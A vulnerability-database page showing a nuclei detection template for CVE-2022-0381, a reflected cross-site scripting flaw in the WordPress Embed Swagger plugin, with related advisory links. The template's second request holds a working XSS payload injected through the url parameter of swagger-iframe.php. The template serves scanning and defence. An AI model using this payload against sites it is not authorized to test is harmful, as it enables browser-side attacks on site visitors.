Lucene search
+L

WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting

🗓️ 25 Oct 2026 02:06:46Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 77 Views

WordPress Embed Swagger plugin 1.0.0 reflected cross-site scripting vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnnvd
CNNVD
WordPress Plugin: Embed Swagger – Cross-site Script Vulnerabilities
4 Feb 202200:00
–cnnvd
cve
CVE
CVE-2022-0381
4 Feb 202222:29
–cve
cvelist
Cvelist
CVE-2022-0381 Embed Swagger <= 1.0.0 Reflected Cross-Site Scripting
4 Feb 202222:29
–cvelist
euvd
EUVD
EUVD-2022-15530
3 Oct 202520:07
–euvd
kittysploit
KittySploit
WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting Detection
28 Jul 202611:27
–kittysploit
nvd
NVD
CVE-2022-0381
4 Feb 202223:15
–nvd
osv_cve
osv_cve
CVE-2022-0381
4 Feb 202223:15
–osv_cve
patchstack
Patchstack
WordPress Embed Swagger plugin <= 1.0.0 - Reflected Cross-Site Scripting (XSS) vulnerability
26 Jan 202200:00
–patchstack
prion
Prion
Cross site scripting
4 Feb 202223:15
–prion
ptsecurity
Positive Technologies
PT-2022-13141
4 Feb 202200:00
–ptsecurity
Rows per page
id: CVE-2022-0381

info:
  name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
  reference:
    - https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0381
    - https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0381
    cwe-id: CWE-79
    epss-score: 0.03865
    epss-percentile: 0.90156
    cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "embed_swagger_project"
    product: "embed_swagger"
    framework: wordpress
  tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Embed Swagger'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "url: \"xss://\"-alert(document.domain)"

      - type: status
        status:
          - 200
# digest: 490a004630440220777fc1c58dbdb6d65678f3739a3ccf6a2600075267a7a57a0dae1affdd261122022054ad91d63d55e06627fdd99ee8bfa7296b3296d178ddef7e7631b05ff78c2f35:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.03865
SSVC
77